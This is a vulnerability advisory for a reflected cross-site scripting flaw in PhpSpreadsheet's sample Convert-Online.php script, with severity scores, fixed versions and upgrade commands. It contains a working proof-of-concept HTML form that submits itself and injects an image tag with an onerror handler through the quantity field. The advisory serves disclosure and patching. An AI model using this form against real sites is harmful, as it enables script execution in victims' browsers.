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HIGH7.1

GHSA-x88g-h956-m5xg

PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file

Quick fix

GHSA-x88g-h956-m5xg — phpoffice/phpspreadsheet: upgrade to the fixed version with the command below.

composer require phpoffice/phpspreadsheet:^3.7.0

Details

# Unauthorized Reflected XSS in `Convert-Online.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the quantity variable **Researcher**: Aleksey Solovev (Positive Technologies)

# Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet.

There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.

![fig4](https://github.com/user-attachments/assets/71a6ab8b-db65-4e7e-bb36-39f0bd0f7077)

*Figure 4. The message with the quantity parameter is displayed without sanitization*

The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.

<img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" />

*Figure 5. In the server's response , the quantity variable is displayed without sanitization*

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

*Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability*

``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST"> <input type="hidden" name="category" value="Weight&#32;and&#32;Mass" /> <input type="hidden" name="quantity" value="1&#46;0&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" /> <input type="hidden" name="fromUnit" value="g" /> <input type="hidden" name="toUnit" value="g" /> <input type="hidden" name="submitx" value="Convert" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ```

After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser. <img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" />

*Figure 6. Executing arbitrary JavaScript code*

# Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**

Are you affected?

Enter the version of the package you're using.

Affected packages

Packagist/phpoffice/phpspreadsheet
Introduced in: 3.0.0Fixed in: 3.7.0
Fixcomposer require phpoffice/phpspreadsheet:^3.7.0
Packagist/phpoffice/phpspreadsheet
Introduced in: 0Fixed in: 1.29.7
Fixcomposer require phpoffice/phpspreadsheet:^1.29.7
Packagist/phpoffice/phpspreadsheet
Introduced in: 2.0.0Fixed in: 2.1.6
Fixcomposer require phpoffice/phpspreadsheet:^2.1.6
Packagist/phpoffice/phpspreadsheet
Introduced in: 2.2.0Fixed in: 2.3.5
Fixcomposer require phpoffice/phpspreadsheet:^2.3.5
Packagist/phpoffice/phpexcel
Introduced in: 0

No fixed version published yet for phpoffice/phpexcel (composer). Pin to a known-safe version or switch to an alternative.

References